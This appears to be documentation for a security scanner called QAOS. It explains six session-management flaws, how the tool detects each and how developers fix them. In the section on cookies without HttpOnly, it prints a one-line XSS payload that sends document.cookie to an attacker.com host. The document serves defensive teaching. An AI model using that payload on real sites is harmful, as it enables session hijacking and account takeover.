Skip to main content
Session management vulnerabilities allow attackers to steal or forge session tokens, hijacking authenticated user sessions without knowing the user’s password.

session-id-in-url

Critical

What it is

Session identifiers appear in the URL as query parameters (e.g., ?sessionid=abc123, ;jsessionid=xyz), making them visible in browser history, server logs, referrer headers, and shared links.

Why it matters

A URL containing a session ID can be:
  • Leaked through the HTTP Referer header to third-party sites
  • Stored in browser history and accessible to other users of the same machine
  • Captured in server access logs
  • Accidentally shared in a screenshot or copy-pasted link
Any of these scenarios results in session hijacking without any active attack.

How QAOS detects it

The agent inspects the current URL after every navigation for parameters that resemble session identifiers: sessionid, session, sid, token, jsessionid, PHPSESSID, and similar patterns.

Examples

https://app.example.com/dashboard?sessionid=abc123def456
https://app.example.com/page;jsessionid=ABCDEFG1234567
https://app.example.com/home?sid=user_9876token

How to fix

Store session identifiers exclusively in cookies with the HttpOnly and Secure flags set. Never pass session tokens through URLs. If you inherit a legacy system that uses URL-based sessions, migrate to cookie-based sessions and implement SameSite=Strict or SameSite=Lax.
High

What it is

Session or authentication cookies have values with low entropy — they are short, purely numeric, timestamp-based, or follow a predictable pattern. This indicates the server uses a weak random number generator for session token creation.

Why it matters

Low-entropy session tokens can be brute-forced or predicted. An attacker who can enumerate or guess valid session IDs can take over any active session without credentials.

How QAOS detects it

The agent performs a statistical analysis of session cookie values — checking length, character diversity, Shannon entropy, and whether the value matches patterns like timestamps, sequential integers, or base64-encoded short data.

Examples of weak tokens

session=83749201          ← purely numeric, short
auth=1708473600123        ← Unix timestamp in milliseconds
token=aGVsbG8=            ← base64 of "hello" (5 chars)
session=AAAAAABBBBBCCC    ← repetitive, low entropy

How to fix

Use a cryptographically secure random generator with at least 128 bits of entropy (ideally 256):
import secrets
session_id = secrets.token_urlsafe(32)  # ~256 bits

# Node.js
const crypto = require('crypto')
const sessionId = crypto.randomBytes(32).toString('hex')
Avoid Math.random(), rand(), timestamp-based tokens, or any deterministic function.

cookies-missing-httponly

High

What it is

Session or authentication cookies are set without the HttpOnly flag, meaning client-side JavaScript can read them via document.cookie.

Why it matters

If your application has any XSS vulnerability (even a minor one), an attacker can steal session cookies using a simple JavaScript payload:
// XSS payload that exfiltrates the session cookie
fetch('https://attacker.com/steal?c=' + document.cookie)
The HttpOnly flag is a critical defense-in-depth measure that prevents this escalation path.

How QAOS detects it

The agent inspects all cookies set by the application and checks for the presence of the HttpOnly attribute, specifically on cookies whose names suggest they are session or authentication tokens.

Example

Set-Cookie: session_id=abc123; Path=/; SameSite=Lax
# Missing HttpOnly flag — JavaScript can read this cookie

How to fix

Set the HttpOnly flag on all session and authentication cookies:
Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Lax
In most frameworks, this is a configuration option:
# FastAPI / Starlette
response.set_cookie("session_id", value, httponly=True, secure=True, samesite="lax")

# Express.js
res.cookie('session_id', value, { httpOnly: true, secure: true, sameSite: 'lax' })

session-id-in-hidden-field

High

What it is

Session identifiers are embedded in hidden form fields or client-accessible DOM elements (e.g., <input type="hidden" name="session_id">), making them readable by any JavaScript on the page.

Why it matters

Hidden form fields are part of the DOM and accessible via JavaScript just like any other element. An XSS vulnerability anywhere on the page can extract the session ID from a hidden field and exfiltrate it to an attacker-controlled server.

How QAOS detects it

The agent scans the DOM for hidden input fields and client-side metadata whose names or values match session identifier patterns (session_id, token, auth, sid, etc.).

Examples

<!-- Session ID in hidden field — readable by any JS on page -->
<form action="/submit" method="POST">
  <input type="hidden" name="session_id" value="abc123def456">
</form>

How to fix

Never embed session identifiers in the DOM. Store session state server-side and reference it exclusively through HttpOnly cookies that JavaScript cannot read. If you need to pass a CSRF token through a form field, use a separate, purpose-limited CSRF token rather than the session ID itself.

session-id-reused-after-authentication

High

What it is

The session identifier is not rotated when a user logs in — the same session ID that existed before authentication is used for the authenticated session. This creates a session fixation vulnerability.

Why it matters

In a session fixation attack, an attacker plants a known session ID in the victim’s browser (e.g., via a malicious link or XSS). If the application reuses that session ID after login, the attacker’s known ID becomes authenticated and they gain access to the victim’s account.

How QAOS detects it

The agent captures the session cookie value before login, completes the authentication flow, then compares the session cookie value afterwards. If the value is unchanged, session fixation is possible.

How to fix

Issue a fresh session ID immediately after successful authentication:
# FastAPI / Starlette — invalidate old session, create new one
request.session.clear()
request.session["user_id"] = user.id
# The framework issues a new session cookie automatically

# Express.js with express-session
req.session.regenerate((err) => {
  req.session.userId = user.id
})

missing-session-invalidation

High

What it is

Logging out does not invalidate the server-side session. The session cookie remains valid after sign-out, allowing a user (or attacker who captured the cookie) to continue using the authenticated session.

Why it matters

If a user logs out on a shared computer, or if their session cookie was previously stolen, the attacker retains access indefinitely. Proper session invalidation is the only way to guarantee that a logout actually ends the session.

How QAOS detects it

The agent captures the session cookie, performs a logout, then attempts to access authenticated pages using the captured cookie. If access is still granted, session invalidation is missing.

How to fix

Invalidate the server-side session on logout — deleting the session record from the store, not just clearing the cookie client-side:
# FastAPI / Starlette
request.session.clear()  # removes session data server-side

# Express.js
req.session.destroy((err) => {
  res.clearCookie('connect.sid')
  res.redirect('/login')
})
Clearing the cookie on the client is not sufficient — the server must reject the session ID even if the client sends it.